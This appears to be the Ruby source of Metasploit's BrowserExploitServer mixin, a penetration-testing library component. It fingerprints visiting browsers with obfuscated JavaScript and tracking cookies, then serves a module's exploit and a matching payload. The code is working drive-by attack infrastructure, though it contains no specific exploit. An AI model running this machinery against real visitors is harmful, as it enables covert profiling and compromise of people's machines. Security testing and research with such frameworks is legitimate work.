rapid7/metasploit-framework

View on GitHub
lib/msf/core/exploit/remote/browser_exploit_server.rb

Summary

Maintainability
F
3 days
Test Coverage
# -*- coding: binary -*-

require 'erb'
require 'cgi'
require 'date'
require 'set'
require 'rex/exploitation/js'
###
#
# The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser
# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux.
# Note that this mixin is designed to be compatible with both Exploit and Auxiliary modules.
# Wiki documentations about this mixin can be found here:
# https://docs.metasploit.com/docs/development/developing-modules/libraries/http/how-to-write-a-browser-exploit-using-browserexploitserver.html
# https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-http-communication.html
#
###

module Msf
  module Exploit::Remote::BrowserExploitServer

    class BESException < RuntimeError; end

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::RopDb
    include Msf::Exploit::JSObfu
    include Msf::Exploit::Remote::BrowserProfileManager
    include Msf::Module::UI::Line::Verbose
    include Msf::Module::UI::Message::Verbose

    # this must be static between runs, otherwise the older cookies will be ignored
    DEFAULT_COOKIE_NAME = '__ua'

    PROXY_REQUEST_HEADER_SET = Set.new(%w{
       CLIENT_IP
       FORWARDED
       FORWARDED_FOR
       FORWARDED_FOR_IP
       HTTP_CLIENT_IP
       HTTP_FORWARDED
       HTTP_FORWARDED_FOR
       HTTP_FORWARDED_FOR_IP
       HTTP_PROXY_CONNECTION
       HTTP_VIA
       HTTP_X_FORWARDED
       HTTP_X_FORWARDED_FOR
       VIA
       X_FORWARDED
       X_FORWARDED_FOR
    })

    # Requirements a browser module can define in either BrowserRequirements or in targets
    REQUIREMENT_KEY_SET = Set.new([
      'source',       # Return either 'script' or 'headers'
      'ua_name',      # Example: Returns 'MSIE'
      'ua_ver',       # Example: Returns '8.0', '9.0'
      'os_name',      # Example: Returns 'Windows 7', 'Linux'
      'os_device',    # Example: Returns 'iPad', 'iPhone', etc
      'os_vendor',    # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
      'os_sp',        # Example: Returns 'SP2'
      'language',     # Example: Returns 'en-us'
      'arch',         # Example: Returns 'x86'
      'proxy',        # Returns 'true' or 'false'
      'silverlight',  # Returns 'true' or 'false'
      'office',       # Example: Returns "2007", "2010"
      'java',         # Example: Return '1.6', or maybe '1.6.0.0' (depends)
      'mshtml_build', # mshtml build. Example: Returns "65535"
      'flash',        # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
      'vuln_test',    # Example: "if(window.MyComponentIsInstalled)return true;",
      # :activex is a special case.
      # When you set this requirement in your module, this is how it should be:
      # [:clsid=>'String', :method=>'String']
      # Where each Hash is a test case
      # But when BES receives this information, the JavaScript will return this format:
      # "CLSID=>Method=>Boolean;"
      # Also see: #has_bad_activex?
      'activex'
    ])

    def initialize(info={})
      super

      # The mixin keeps 'target' handy so module doesn't lose it.
      @target = self.respond_to?(:target) ? target : nil

      # Requirements are conditions that the browser must have in order to be exploited.
      @requirements = extract_requirements(self.module_info['BrowserRequirements'] || {})

      @info_receiver_page     = Rex::Text.rand_text_alpha(5)
      @exploit_receiver_page  = Rex::Text.rand_text_alpha(6)
      @noscript_receiver_page = Rex::Text.rand_text_alpha(7)
      @flash_swf              = "#{Rex::Text.rand_text_alpha(9)}.swf"

      register_options(
      [
        OptBool.new('Retries', [false,  "Allow the browser to retry the module", true])
      ], Exploit::Remote::BrowserExploitServer)

      register_advanced_options([
        OptString.new('CookieName', [false,  "The name of the tracking cookie", DEFAULT_COOKIE_NAME]),
        OptString.new('CookieExpiration', [false,  "Cookie expiration in years (blank=expire on exit)"]),
        OptString.new('Custom404', [false, "An external custom 404 URL (Example: http://example.com/404.html)"])
      ], Exploit::Remote::BrowserExploitServer)
    end

    def setup
      custom_404 = get_custom_404_url
      if !custom_404.blank? && custom_404 !~ /^http/i
        raise Msf::OptionValidateError.new(
          {
            'Custom404' => 'must begin with http or https'
          }
        )
      end

      super
    end


    # Returns a prefix that's unique to this browser exploit module.
    # This overrides the #browser_profile_prefix method from Msf::Exploit::Remote::BrowserProfileManager.
    # There are two way for BES to get this prefix, either:
    # * It comes from a datastore option. It allows BrowserAutoPwn to share the unique prefix with
    #   its child exploits, so that these exploits don't have to gather browser information again.
    # * If the datastore option isn't set, then we assume the user is firing the exploit as a
    #   standalone so we make something more unique, so that if there are two instances using the
    #   same exploit, they don't actually share info.
    def browser_profile_prefix
      self.datastore['BrowserProfilePrefix'] || @unique_prefix ||= lambda {
        "#{self.shortname}.#{Time.now.to_i}.#{self.uuid}"
      }.call
    end


    # Cleans up target information owned by the current module.
    def cleanup
      super
      # Whoever registered BrowserProfilePrefix should do the cleanup
      clear_browser_profiles unless self.datastore['BrowserProfilePrefix']
    end

    # Returns the custom 404 URL set by the user
    #
    # @return [String]
    def get_custom_404_url
      datastore['Custom404'].to_s
    end


    # Returns the resource (URI) to the module to allow access to on_request_exploit
    #
    # @return [String] URI to the exploit page
    def get_module_resource
      "#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
    end


    # Returns the absolute URL to the module's resource that points to on_request_exploit
    #
    # @return [String] absolute URI to the exploit page
    def get_module_uri
      "#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
    end


    # Returns the current target
    def get_target
      @target
    end


    # Returns a hash of recognizable requirements
    #
    # @param reqs [Hash] A hash that contains data for the requirements
    # @return [Hash] A hash of requirements
    def extract_requirements(reqs)
      tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_s)}
      # Make sure keys are always symbols
      Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
    end


    # Sets the target automatically based on what requirements are met.
    # If there's a possible matching target, it will also merge the requirements.
    # You can use the get_target() method to retrieve the most current target.
    #
    # @param profile [Hash] The profile to check
    def try_set_target(profile)
      return unless self.respond_to?(:targets)
      match_counts        = []
      target_requirements = {}
      targets.each do |t|
        target_requirements = extract_requirements(t.opts)
        if target_requirements.blank?
          match_counts << 0
        else
          match_counts << target_requirements.select { |k,v|
            if v.is_a? Regexp
              profile[k] =~ v
            else
              profile[k] == v
            end
          }.length
        end
      end

      if match_counts.max.to_i > 0
        @target = targets[match_counts.index(match_counts.max)]
        target_requirements = extract_requirements(@target.opts)
        unless target_requirements.blank?
          @requirements = @requirements.merge(target_requirements)
        end
      end
    end


    # Returns true if there's a bad ActiveX, otherwise false.
    # @param ax [String] The raw activex the JavaScript detection will return in this format:
    #                    "CLSID=>Method=>Boolean;"
    # @return [Boolean] True if there's a bad ActiveX, otherwise false
    def has_bad_activex?(ax)
      ax.to_s.split(';').each do |a|
        bool = a.split('=>')[2]
        if bool == 'false'
          return true
        end
      end

      false
    end

    # Returns an array of items that do not meet the requirements
    #
    # @param profile [Hash] The profile to check
    # @return [Array] An array of requirements not met
    def get_bad_requirements(profile)
      bad_reqs = []
      @requirements.each do |rk, v|
        k = rk.to_sym
        expected = k != :vuln_test ? v : 'true'

        vprint_status("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k]}")

        if k == :activex
          bad_reqs << k if has_bad_activex?(profile[k])
        elsif k == :vuln_test
          bad_reqs << k unless profile[k].to_s == 'true'
        elsif v.is_a? Regexp
          bad_reqs << k if profile[k] !~ v
        elsif v.is_a? Proc
          bad_reqs << k unless v.call(profile[k])
        else
          bad_reqs << k if profile[k] != v
        end
      end

      bad_reqs
    end



    # Retrieves a tag.
    # First it obtains the tag from the browser's "Cookie" header.
    # If the header is empty (possible if the browser has cookies disabled),
    # then it will return a tag based on IP + the user-agent.
    #
    # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
    def retrieve_tag(cli, request)
      cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
      tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first

      if tag.blank?
        # Browser probably doesn't allow cookies, plan B :-/
        vprint_status("No cookie received for #{cli.peerhost}, resorting to headers hash.")
        ip = cli.peerhost
        os = request.headers['User-Agent']
        tag = Rex::Text.md5("#{ip}#{os}")
      else
        vprint_status("Received cookie '#{tag}' from #{cli.peerhost}")
      end

      tag
    end


    # Registers target information to @target_profiles
    #
    # @param source [Symbol] Either :script, or :headers
    # @param cli [Socket] Socket for the browser
    # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
    def process_browser_info(source, cli, request)
      tag = retrieve_tag(cli, request)

      browser_profile[tag] ||= {}
      profile = browser_profile[tag]
      profile[:source] = source.to_s

      found_ua_name = ''
      found_ua_ver  = ''

      # Gathering target info from the detection stage
      case source
      when :script
        # Gathers target data from a POST request
        parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '')
        vprint_status("Received sniffed browser data over POST from #{cli.peerhost}")
        vprint_line("#{parsed_body}.")
        parsed_body.each { |k, v| profile[k.to_sym] = (v.first == 'null' ? nil : v.first) }
        found_ua_name = parsed_body['ua_name']
        found_ua_ver = parsed_body['ua_ver']

      when :headers
        # Gathers target data from headers
        # This may be less accurate, and most likely less info.
        fp = fingerprint_user_agent(request.headers['User-Agent'])
        # Module has all the info it needs, ua_string is kind of pointless.
        # Kill this to save space.
        fp.delete(:ua_string)
        fp.each do |k, v|
          profile[k.to_sym] = v
        end
        found_ua_name = fp[:ua_name]
        found_ua_ver = fp[:ua_ver]
      end

      # Other detections
      profile[:proxy]    = has_proxy?(request)
      profile[:language] = request.headers['Accept-Language'] || ''

      # Basic tracking
      profile[:address]    = cli.peerhost
      profile[:module]     = self.fullname
      profile[:created_at] = Time.now

      report_client({
        :host      => cli.peerhost,
        :ua_string => request.headers['User-Agent'].to_s,
        :ua_name   => found_ua_name.to_s,
        :ua_ver    => found_ua_ver.to_s
      })
    end


    # Checks if the target is running a proxy
    #
    # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
    # @return [Boolean] True if found, otherwise false
    def has_proxy?(request)
      proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
      !proxy_header_set.empty?
    end


    # Returns the code for client-side detection
    #
    # @param user_agent [String] The user-agent of the browser
    # @return [String] Returns the HTML for detection
    def get_detection_html(user_agent)
      ua_info = fingerprint_user_agent(user_agent)
      os      = ua_info[:os_name]
      client  = ua_info[:ua_name]

      code = ERB.new(%Q|
      <%= js_base64 %>
      <%= js_os_detect %>
      <%= js_ajax_post %>
      <%= js_misc_addons_detect %>
      <%= js_ie_addons_detect if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %>

      function objToQuery(obj) {
        var q = [];
        for (var key in obj) {
          q.push(encodeURIComponent(key) + '=' + encodeURIComponent(obj[key]));
        }
        return Base64.encode(q.join('&'));
      }

      function isEmpty(str) {
        return (!str \|\| 0 === str.length);
      }

      function sendInfo(info) {
        var query = objToQuery(info);
        postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){
          window.location="<%= get_module_resource %>";
        });
      }

      var flashVersion = "";
      var doInterval = true;
      var maxTimeout = null;
      var intervalTimeout = null;

      function setFlashVersion(ver) {
        flashVersion = ver
        if (maxTimeout != null) {
          clearTimeout(maxTimeout);
          maxTimeout = null
        }
        doInterval = false
        return;
      }

      function createFlashObject(src, attributes, parameters) {
        var i, html, div, obj, attr = attributes \|\| {}, param = parameters \|\| {};
        attr.type = 'application/x-shockwave-flash';
        if (window.ActiveXObject) {
          attr.classid = 'clsid:d27cdb6e-ae6d-11cf-96b8-444553540000';
          param.movie = src;
        } else {
          attr.data = src;
        }

        html = '<object';
        for (i in attr) {
          html += ' ' + i + '="' + attr[i] + '"';
        }
        html += '>';
        for (i in param) {
          html += '<param name="' + i + '" value="' + param[i] + '" />';
        }
        html += '</object>';
        div = document.createElement('div');
        div.innerHTML = html;
        obj = div.firstChild;
        div.removeChild(obj);
        return obj;
      }

      window.onload = function() {
        var osInfo = os_detect.getVersion();
        var d = {
          "os_vendor"   : osInfo.os_vendor,
          "os_device"   : osInfo.os_device,
          "ua_name"     : osInfo.ua_name,
          "ua_ver"      : osInfo.ua_version,
          "arch"        : osInfo.arch,
          "java"        : misc_addons_detect.getJavaVersion(),
          "silverlight" : misc_addons_detect.hasSilverlight(),
          "flash"       : misc_addons_detect.getFlashVersion(),
          "vuln_test"   : <%= js_vuln_test %>,
          "os_name"     : osInfo.os_name
        };

        <% if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %>
          d['office'] = ie_addons_detect.getMsOfficeVersion();
          d['mshtml_build'] = ScriptEngineBuildVersion().toString();
          <%
            activex = @requirements[:activex]
            if activex
              activex.each do \|a\|
                clsid = a[:clsid]
                method = a[:method]
          %>
                var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
                d['activex'] = "";
                if (ax == true) {
                  d['activex'] += "<%=clsid%>=><%=method%>=>true;";
                } else {
                  d['activex'] += "<%=clsid%>=><%=method%>=>false;";
                }
            <% end %>
          <% end %>
        <% end %>

        if (d["flash"] != null && (d["flash"].match(/[\\d]+.[\\d]+.[\\d]+.[\\d]+/)) == null) {
          var flashObject = createFlashObject('<%=get_resource.chomp("/")%>/<%=@flash_swf%>', {width: 1, height: 1}, {allowScriptAccess: 'always', Play: 'True'});

          // After 5s stop waiting and use the version retrieved with JS if there isn't anything
          maxTimeout = setTimeout(function() {
            if (intervalTimeout != null) {
              doInterval = false
              clearInterval(intervalTimeout)
            }
            if (!isEmpty(flashVersion)) {
              d["flash"] = flashVersion
            }
            sendInfo(d);
          }, 5000);

          // Check if there is a new flash version every 100ms
          intervalTimeout = setInterval(function() {
            if (!doInterval) {
              clearInterval(intervalTimeout);
              if (!isEmpty(flashVersion)) {
                d["flash"] = flashVersion
              }
              sendInfo(d);
            }
          }, 100);

          document.body.appendChild(flashObject)
        } else {
          sendInfo(d)
        }
      }
      |).result(binding())

      js = ::Rex::Exploitation::JSObfu.new code
      js.obfuscate

      %Q|
      <script>
      #{js}
      </script>
      <noscript>
      <img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
      <meta http-equiv="refresh" content="1; url=#{get_module_resource}">
      </noscript>
      |
    end

    # @return [String] Name of the tracking cookie
    def cookie_name
      datastore['CookieName'] || DEFAULT_COOKIE_NAME
    end

    # @return [String] HTTP header string for the tracking cookie
    def cookie_header(tag)
      cookie = "#{cookie_name}=#{tag};"
      if datastore['CookieExpiration'].present?
        expires_date = (DateTime.now + 365*datastore['CookieExpiration'].to_i)
        expires_str  = expires_date.to_time.strftime("%a, %d %b %Y 12:00:00 GMT")
        cookie << " Expires=#{expires_str};"
      end
      cookie
    end

    def load_swf_detection
      path = ::File.join(Msf::Config.data_directory, 'flash_detector', 'flashdetector.swf')
      swf =  ::File.open(path, 'rb') { |f| swf = f.read }

      swf
    end


    # Handles exploit stages.
    #
    # @param cli [Socket] Socket for the browser
    # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
    def on_request_uri(cli, request)
      case request.uri
      when '/', get_resource.chomp("/")
        #
        # This is the information gathering stage
        #
        if browser_profile[retrieve_tag(cli, request)]
          send_redirect(cli, get_module_resource)
          return
        end

        print_status("Gathering target information for #{cli.peerhost}")
        tag = Rex::Text.rand_text_alpha(rand(20) + 5)
        ua = request.headers['User-Agent'] || ''
        print_status("Sending HTML response to #{cli.peerhost}")
        html = get_detection_html(ua)
        send_response(cli, html, {'Set-Cookie' => cookie_header(tag)})

      when /#{@flash_swf}/
        vprint_status("Sending SWF used for Flash detection to #{cli.peerhost}")
        swf = load_swf_detection
        send_response(cli, swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})

      when /#{@info_receiver_page}/
        #
        # The detection code will hit this if Javascript is enabled
        #
        vprint_status "Info receiver page called from #{cli.peerhost}"
        process_browser_info(:script, cli, request)
        send_response(cli, '', {'Set-Cookie' => cookie_header(tag)})

      when /#{@noscript_receiver_page}/
        #
        # The detection code will hit this instead of Javascript is disabled
        # Should only be triggered by the img src in <noscript>
        #
        process_browser_info(:headers, cli, request)
        send_not_found(cli)

      when /#{@exploit_receiver_page}/
        #
        # This sends the actual exploit. A module should define its own
        # on_request_exploit() to get the target information
        #
        tag = retrieve_tag(cli, request)
        vprint_status("Serving exploit to user #{cli.peerhost} with tag #{tag}")
        profile = browser_profile[tag]
        if profile.nil?
          print_status("Browser visiting directly to the exploit URL is forbidden.")
          send_not_found(cli)
        elsif profile[:tried] && !datastore['Retries']
          print_status("Target #{cli.peerhost} with tag \"#{tag}\" wants to retry the module, not allowed.")
          send_not_found(cli)
        else
          profile[:tried] = true
          vprint_status("Setting target \"#{tag}\" to :tried.")
          try_set_target(profile)
          bad_reqs = get_bad_requirements(profile)
          if bad_reqs.empty?
              browser_info = profile.dup
            begin
              method(:on_request_exploit).call(cli, request, browser_info)
            rescue BESException => e
              elog('BESException', error: e)
              send_not_found(cli)
              print_error("BESException: #{e.message}")
            end
          else
            print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}. For more info: http://r-7.co/PVbcgx")
            if bad_reqs.include?(:vuln_test)
              error_string = (self.module_info['BrowserRequirements'] || {})[:vuln_test_error]
              if error_string.present?
                print_warning(error_string)
              end
            end
            send_not_found(cli)
          end
        end

      else
        print_error("Target #{cli.peerhost} has requested an unknown path: #{request.uri}")
        send_not_found(cli)
      end
    end


    # Overriding method. The module should override this.
    #
    # @param cli [Socket] Socket for the browser
    # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
    # @param browser_info [Hash] The target profile
    def on_request_exploit(cli, request, browser_info)
      raise NoMethodError, "Module must define its own on_request_exploit method"
    end


    # Converts an ERB-based exploit template into HTML, and sends to client
    #
    # @param cli [Socket] Socket for the browser
    # @param template [String] The ERB template. If you want to pass the binding object,
    #                          then this is handled as an Array, with the first element
    #                          being the HTML, and the second element is the binding object.
    # @param headers [Hash] The custom HTTP headers to include in the response
    def send_exploit_html(cli, template, headers={})
      html = ''
      if template.class == Array
        html = ERB.new(template[0]).result(template[1])
      else
        html = ERB.new(template).result
      end
      send_response(cli, html, headers)
    end


    # Generates a target-specific payload, should be called by the module
    #
    # @param cli [Socket] Socket for the browser
    # @param browser_info [Hash] The target profile
    # @return [String] The payload
    def get_payload(cli, browser_info)
      arch     = browser_info[:arch]
      platform = browser_info[:os_name]

      # Fix names for consistency so our API can find the right one
      # Originally defined in lib/msf/core/constants.rb
      platform = platform.gsub(/^Mac OS X$/, 'OSX')
      platform = platform.gsub(/^Windows.*$/, 'Windows')

      p = regenerate_payload(cli, platform, arch)
      target_arch = get_target.arch || arch

      unless p.arch.all? { |e| target_arch.include?(e) }
        err =  "The payload arch (#{p.arch * ", "}) is incompatible with the target (#{target_arch * "\n"}). "
        err << "Please check your payload setting."
        raise BESException, err
      end

      return p.encoded
    end

    # @return [String] custom Javascript to check if a vulnerability is present
    def js_vuln_test
      all_reqs = self.module_info['BrowserRequirements'] || {}
      if all_reqs[:vuln_test].present?
        code = all_reqs[:vuln_test] + ';return !!this.is_vuln;'
        'Function(('+JSON.generate(:code => code)+').code)()'
      else
        'true'
      end
    end

    private


    # Sends a 404 response. If a custom 404 is configured, then it will redirect to that instead.
    def send_not_found(cli)
      custom_404_url = get_custom_404_url
      if custom_404_url.blank?
        super(cli)
      else
        send_redirect(cli, custom_404_url)
      end
    end

  end
end